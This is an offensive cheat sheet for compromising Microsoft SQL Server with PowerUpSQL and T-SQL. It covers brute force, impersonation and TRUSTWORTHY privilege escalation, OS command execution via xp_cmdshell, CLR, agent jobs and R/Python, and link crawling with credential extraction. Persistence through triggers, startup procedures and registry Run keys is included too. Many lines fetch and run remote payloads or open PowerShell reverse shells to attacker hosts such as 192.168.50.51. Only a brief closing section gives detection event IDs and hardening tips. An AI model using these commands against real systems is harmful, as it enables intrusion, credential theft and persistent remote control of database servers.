PowerUpSQL: https://github.com/NetSPI/PowerUpSQL​
HeidiSQL: https://www.heidisql.com/​
# UDP ScanningGet-SQLInstanceScanUDP​# Local InstanceGet-SQLInstanceLocal​# Discovery (SPN Scanning):Get-SQLInstanceDomain​# Check Accessibility:Get-SQLConnectionTestThreaded​# Get available servers and test if current user can connect:Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose​# Gather Information:Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
$comp = (GetSQLInstanceDomain).computername$comps | Invoke-BruteForce -UserList C:\dict\users.txt -PasswordList C:\dict\passwords.txt -Service SQL –Verbose
# Password SprayGet-SQLInstanceDomain | Get-SQLConnectionTestThreaded Username sa -Password Password -Verbose​# Using public role to fuzz logins, can then feed those to brute forceGet-SQLFuzzServerLogin -Instance ops-mssql –Verbose
# Current UserSELECT SUSER_SNAME();SELECT SYSTEM_USER;SELECT IS_SRVROLEMEMBER('sysadmin');​# Current RoleSELECT user;​# Show all logins on a serverSELECT * FROM sys.server_principals WHERE type_desc != 'SERVER_ROLE';​# Show all database users for a databaseSELECT * FROM sys.database_principals WHERE type_desc != 'DATABASE_ROLE';​# List all sysadminsSELECT name,type_desc,is_disabled FROM sys.server_principals WHERE IS_SRVROLEMEMBER ('sysadmin',name) = 1;​# List all database rolesSELECT DP1.name AS DatabaseRoleName, isnull (DP2.name, 'No members') AS DatabaseUserName FROM sys.database_role_members AS DRM RIGHT OUTER JOIN sys.database_principals AS DP1 ON DRM.role_principal_id = DP1.principal_id LEFT OUTER JOIN sys.database_principals AS DP2 ON DRM.member_principal_id = DP2.principal_id WHERE DP1.type = 'R' ORDER BY DP1.name;​# Effective permissions for the serverSELECT * FROM fn_my_permissions(NULL, 'SERVER');​# Effective permissions for the databaseSELECT * FROM fn_my_permissions(NULL, 'DATABASE');# Active user tokenSELECT * FROM sys.user_token;​Active login tokenSELECT * FROM sys.login_token;
# VersionSELECT @@version;​# Current DatabaseSELECT db_name();​# List all databasesSELECT name FROM master..sysdatabases;
# List tables of a databaseSELECT name FROM <dbname>..sysobjects WHERE xtype = 'U';SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='<dbname>';​# Alternative to list tablesSELECT name FROM <dbname>..sysobjects WHERE xtype = ‘U’;​# Use DBUse <dbname>;​# List table contentsSelect * from <tablename>;
# Look for interesting DB on nameGet-SQLDatabaseThreaded -Threads 10 -Username sa Password Pass@123 -Instance ops-sqlsrvprod -verbose | select -ExpandProperty DatabaseName​# Look for interesting DB that are encrypted (decrypted automatically for sa)Get-SQLDatabaseThreaded -Threads 10 -Username sa Password Pass@123 -Instance ops-sqlsrvprod | WhereObject {$_.is_encrypted -eq “True"}​# Locating interesting dataGet-SQLColumnSampleDataThreaded -Threads 10 -Keywords "password, credit" -SampleSize 5 -ValidateCC -NoDefaults -Username sa -Password Pass@123 -Instance ops-sqlsrvprod -Verbose
# Find roles that you can impersonateSELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';​# Impersonate a userEXECUTE AS LOGIN = 'dbadmin'​# Check privs of userSELECT SYSTEM_USERSELECT IS_SRVROLEMEMBER('sysadmin')​# RevertSELECT ORIGINAL_LOGIN()
# Find users you can impersonateInvoke-SQLAuditPrivImpersonateLogin -Username sqluser Password Sql@123 -Instance ops-mssql -Verbose​# ExploitInvoke-SQLAuditPrivImpersonateLogin -Instance ops-sqlsrvone.offensiveps.com –Exploit -Verbose
# Find trustworthy databasesSELECT name as database_name , SUSER_NAME(owner_sid) AS database_owner , is_trustworthy_on AS TRUSTWORTHY from sys.databases;​# Look for db_owner role within a databaseUSE <database>;SELECT DP1.name AS DatabaseRoleName, isnull (DP2.name, 'No members') AS DatabaseUserName FROM sys.database_role_members AS DRM RIGHT OUTER JOIN sys.database_principals AS DP1 ON DRM.role_principal_id = DP1.principal_id LEFT OUTER JOIN sys.database_principals AS DP2 ON DRM.member_principal_id = DP2.principal_id WHERE DP1.type = 'R' ORDER BY DP1.name;​# Impersonate DB_ownerEXECUTE AS USER = 'dbo';SELECT system_user;​# Abuse privs of trustworthy db to add our user as a sysadminEXEC sp_addsrvrolemember 'opsdc\labuser','sysadmin';​
# Find trustworthy databaseInvoke-SQLAuditPrivTrustworthy -Instance ops-sqlsrvone Verbose
# Automate this with Inveigh as a capture serverInvoke-SQLUncPathInjection -Verbose -CaptureIp 192.168.15.2
# Listenerpowercat -l -v -p 443​# Get command executionGet-SQLServerLinkCrawl -Instance INSTANCE -Query "EXEC master..xp_cmdshell 'powershell.exe iex (iwr http://192.168.50.51/Invoke-PowerShellTcp.ps1 -UseBasicParsing);Invoke-PowerShellTcp -Reverse -IPAddress 192.168.50.51 -Port 443'"​# Grab Juicy potatowget http://192.168.50.51/juicy-potato-master/JuicyPotato/JuicyPotato.exe -UseBasicParsing -Outfile juicypotato.exe​# own./juicypotato.exe -t * -p c:\Windows\System32\cmd.exe -a "/c net localgroup Administrators DOMAIN\USER /add" -l 8000
# Install xp_cmdshellsp_addextendedproc 'xp_cmdshell','xplog70.dll'​# Enable xp_cmdshellEXEC sp_configure 'show advanced options',1RECONFIGUREEXEC sp_configure 'xp_cmdshell',1RECONFIGURE​# Use xp_cmdshellEXEC master..xp_cmdshell 'whoami'
Invoke-SQLOSCmd -Username sa -Password Password1 -Instance ops-mssql.offensiveps.com –Command whoami
# Create the DLL to add to the SQL dbCreate-SQLFileXpDll -OutFile C:\fileserver\xp_calc.dll -Command "calc.exe" -ExportName xp_calc​# Register the dll from our systemGet-SQLQuery -UserName sa -Password Password1 –Instance opssqlsrvone –Query "sp_addextendedproc 'xp_calc', '\\192.168.15.2\fileserver\xp_calc.dll'"​# Execute the stored procedureGet-SQLQuery -UserName sa -Password Password1 –Instance opssqlsrvone –Query "EXEC xp_calc"​# List extended stored proceduresGet-SQLStoredProcedureXP -Instance ops-sqlsrvone -Verbose​
# Register the stored procedure (dll name and function name must match exactly)sp_addextendedproc 'xp_calc', 'C:\mydll\xp_calc.dll'​# Execute the stored procedureEXEC xp_calc​# Drop the stored proceduresp_dropextendedproc 'xp_calc'​# Code sample for dll:https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/xp_evil_template.cpp
Blog: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
# Enable CLR using manual SQLuse msdbGOsp_configure 'show advanced options',1RECONFIGUREGOsp_configure 'clr enabled',1RECONFIGUREGO​# Create the DLL for CLRCreate-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir C:\Users\labuser\Desktop​# Execute commands through CLRInvoke-SQLOSCmdCLR -Username sa -Password Password1 -Instance ops-sqlsrvone –Command "whoami" -Verbose​# List all DLLs added through CLRGet-SQLStoredProcedureCLR -Instance ops-sqlsrvone Verbose
# Enable CLR using manual SQLuse msdbGOsp_configure 'show advanced options',1RECONFIGUREGOsp_configure 'clr enabled',1RECONFIGUREGO​# Create the DLL for CLRCreate-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir C:\Users\labuser\Desktop​# Import the assembly fileCREATE ASSEMBLY my_assemblyFROM '\\192.168.15.2\fileserver\cmd_exec.dll'WITH PERMISSION_SET = UNSAFE;GO​# Import the assembly as a hexadecimal string of a CLR DLLCREATE ASSEMBLY [NMfsa] AUTHORIZATION [dbo] FROM 0x4D5A90……​# Link the assembly to a stored procedureCREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];GO​# Execute commandscmd_exec 'whoami'​# CleanupDROP PROCEDURE cmd_execDROP ASSEMBLY my_assembly
# Automated enabling, executing and readingInvoke-SQLOSCmdCLR -Username sa -Password Password1 Instance ops-sqlsrvone –Command "whoami" –Verbose
# Enable OLE automation proceduressp_configure 'show advanced options', 1;GORECONFIGURE;GOsp_configure 'Ole Automation Procedures', 1;GORECONFIGURE;GO​# Execute CommandDECLARE @output INTDECLARE @ProgramToRun VARCHAR(255)SET @ProgramToRun = 'Run("calc.exe")'EXEC sp_oacreate 'wScript.Shell', @output outEXEC sp_oamethod @output, @ProgramToRunEXEC sp_oadestroy @output​# Output has to be written to a file then read
# List all jobsGet-SQLAgentJob -Instance ops-sqlsrvone -username sa -Password Pass@123 -Verbose​# Execute commandsInvoke-SQLOSCmdAgentJob –Subsystem PowerShell -Username sa -Password Password1 -Instance ops-sqlsrvone –Command "powershell –e <base64encodedscript>" -Verbose–Subsystem CmdExec–Subsystem VBScript–Subsystem Jscript
# List all jobsSELECT job.job_id, notify_level_email, name, enabled, description, step_name, command, server, database_name FROM msdb.dbo.sysjobs job INNER JOIN msdb.dbo.sysjobsteps steps ON job.job_id = steps.job_id​# Powershell AgentUSE msdb;EXEC dbo.sp_add_job @job_name = N'PSJob';EXEC sp_add_jobstep @job_name = N'PSJob', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -noexit ps', @retry_attempts = 1, @retry_interval = 5;EXEC dbo.sp_add_jobserver @job_name = N'PSJob'EXEC dbo.sp_start_job N'PSJob'## CleanupEXEC dbo.sp_delete_job @job_name = N'PSJob'​# CMD agentUSE msdb;EXEC dbo.sp_add_job @job_name = N'cmdjob';EXEC sp_add_jobstep @job_name = N'cmdjob', @step_name = N'test_cmd_name1', @subsystem = N'cmdexec', @command = N'cmd.exe /k calc', @retry_attempts = 1, @retry_interval = 5;EXEC dbo.sp_add_jobserver @job_name = N'cmdjob';EXEC dbo.sp_start_job N'cmdjob';## CleanupEXEC dbo.sp_delete_job @job_name = N'cmdJob'
# Execute RInvoke-SQLOSCmdR -Username sa -Password Password1 -Instance ops-sqlprod –Command "powershell –e <base64encodedscript>" –Verbose​# Execute pythonInvoke-SQLOSCmdPython -Username sa -Password Password1 -Instance ops-sqlprod –Command "powershell –e <base64encodedscript>" -Verbose
# Enable external scriptssp_configure 'external scripts enabled'GO​# Execute R scriptEXEC sp_execute_external_script @language=N'R', @script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))' WITH RESULT SETS (([cmd_out] text));GO​# Grab NTLM hash with R@script=N'.libPaths("\\\\testhost\\foo\\bar");library("0 mgh4x")'​# Use Shell instead of system@script=N'OutputDataSet <data.frame(shell("dir",intern=T))'​# Execute PythonEXEC sp_execute_external_script @language =N'Python', @script=N'import subprocess p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE) OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])' WITH RESULT SETS (([cmd_out] nvarchar(max)))
# Look for links to remote serversGet-SQLServerLink -Instance INSTANCE -Verbose​# Enumerating nested database linksGet-SQLServerLinkCrawl -Instance INSTANCE -Verbose
# Look for first linkselect * from master..sysservers​# look for second linkselect * from openquery("<linked-db>",'select * from master..sysservers')​# Enumerating nested database linksselect * from openquery("INSTANCE1",'select * from openquery("INSTANCE2",''select * from master..sysservers'')')
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "INSTANCE"
# Executes command over linkGet-SQLServerLinkCrawl -Instance INSTANCE -Query "exec master..xp_cmdshell 'whoami'"​# shellGet-SQLServerLinkCrawl -Instance INSTANCE -Query "exec master..xp_cmdshell 'powershell.exe iex (iwr http://192.168.50.51/Invoke-PowerShellTcp.ps1 -UseBasicParsing);Invoke-PowerShellTcp -Reverse -IPAddress 192.168.50.51 -Port 443'"
# Execute calc (note that ' double every link) (not - use full fqdn)select * from openquery("ops-mssql",'select * from openquery("ops-file",''select * from openquery("dpssqlsrvtwo",''''select @@version as version;exec master..xp_cmdshell "cmd /c calc.exe"'''')'')')​# Enumerate Infoselect * from openquery("UFC-DB1",'select * from openquery("UFC-DBPROD",''select * from openquery("AC-DBREPORT.amazecorp.local",''''select * from master..sysservers;'''')'')')​# Use database over linksselect * from openquery("UFC-DB1",'select * from openquery("UFC-DBPROD",''select * from openquery("AC-DBREPORT.amazecorp.local",''''EXEC (''''''''USE msdb; SELECT db_name()'''''''')'''')'')')
When the link is setup, its set with an account. This could be SA or it could be a user account. You can find out what that account is by enumerating the link. Whatever account the command is running as on the link, is the account used to set it up.
Compromise DB-Server1, its linked to DB-Server2 with the SA of DB-Server2. Can use powershell to get the cleartext cred of SA for DB-Server2. Can then use HeidiSQL or similar to log into the DB-Server2 as SA, can then install cmd execution without dealing with RPCOUT (which prevents this occuring over the link).
Import-module .\Get-MSSQLLinkPasswords.psm1Get-MSSQLLinkPasswords
# Enable xp_cmdshell (shown above)​# Go into master dbUSE masterGO​# Create stored procedureCREATE PROCEDURE sp_autopsASEXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/ payload.ps1'')"'GO​# Mark the stored procedure for automatic execution when SQL server restartsEXEC sp_procoption @ProcName = 'sp_autops', @OptionName = 'startup', @OptionValue = 'on';​# List stored procedures marked for automatic executionSELECT [name] FROM sysobjects WHERE type = 'P' AND OBJECTPROPERTY(id, 'ExecIsStartUp') = 1;
# List all triggersSELECT * FROM sys.server_triggers​# List all triggers for a DBUSE testdbSELECT * FROM sys.server_triggers​# DDL trigger (executes on create,alter and drop statements and some sp)CREATE Trigger [persistence_ddl_1]ON ALL <SERVER/DATABASE>FOR DDL_LOGIN_EVENTSASEXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'GO​# DML trigger (executes on insert, update and delete statements)USE masterGRANT IMPERSONATE ON LOGIN::sa to [Public];USE testdbCREATE TRIGGER [persistence_dml_1]ON testdb.dbo.datatable FOR INSERT, UPDATE, DELETE ASEXECUTE AS LOGIN = 'sa'EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'GO​# Logon triggers (executes on a user login)CREATE Trigger [persistence_logon_1]ON ALL SERVER WITH EXECUTE AS 'sa'FOR LOGONASBEGINIF ORIGINAL_LOGIN() = 'testuser'EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'END;
# Use xp_regwrite to execute a shellGet-SQLPersistRegDebugger -Instance ops-sqlsrvone -username sa -Password Password1 -FileName utilman.exe -Command 'c:\windows\system32\cmd.exe' -Verbose​# Use xp_regwrite to persistGet-SQLPersistRegRun -Instance ops-sqlsrvone -username sa -Password Password1 -Name SQLUpdate -Command 'powershell –w 1 – NoP –NoL iex(New-Object Net.WebClient).DownloadString("http://webserver/evil.ps1")' -Verbose​# Use xp_regread as sysadmin to read autologon passwords from registryGet-SQLRecoverPwAutoLogon -Instance ops-sqlsrvone -username sa -Password Password1 -Verbose​
# Using xp_regwriteEXEC xp_regwrite@rootkey = 'HKEY_LOCAL_MACHINE',@key = 'Software\Microsoft\Windows\CurrentVersion\Run',@value_name = 'SQLServerUpdate',@type = 'REG_SZ',@value = 'powershell –w 1 –NoP –NoL iex(NewObject Net.WebClient).DownloadString("http://webserver/evil.ps1 ")';​# Using xp_regreadDECLARE @Reg_Value VARCHAR(1000)EXECUTE xp_regread 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\CurrentVersion', ‘ProductName', @Reg_Value OUTPUTSELECT @Reg_Value;
Get-SQLServerPasswordHash -instance INSTANCE -Verbose
Audit SQL Servers to check the flow of links, trusts, privileges and credentials.
Ensure that Service Accounts for databases are not high privilege domain account.
Make sure that known dangerous Stored Procedures are disabled.
Use SQL Server Audit to log interesting server level and database level events.
Log and Audit.
Monitor the logs.
SQL Server Error Log is the place to look for interesting SQL Server logs. By default, the error log is located at %ProgramFiles%\Microsoft SQL Server\MSSQL.1MSSQL\LOG\ERRORLOG
Logs can be viewed in Management Studio by browsing to Management -> SQL Server Logs
Logs are also written to Windows Application logs with MSSQLSERVER as source.
General best practices like having a good password policy and not using same username across databases.
SQL server Logon failures are logged by default in the Windows application log with source MSSQLSERVER.
Look for Event ID 18456. The log message also details the type of brute force - "Password did not match for the login provided" vs "Could not find a login matching the name provided."
Event ID 5084 also reports for setting TRUSTWORTHY to on/off.
Event ID 17135 logs launch of startup stored procedures.
Event ID 33090 for successful and 17750 for failed loading of DLLs.
Recall that all command execution techniques we used needed the use of sp_configure.
Using sp_configure leaves Event ID 15457 in the Windows Application log with the configuration changed (argument passed to sp_configure).
This can be used as a very good indicator of command execution.
Make sure that an alert is generated only on the argument of sp_configure to avoid false positives.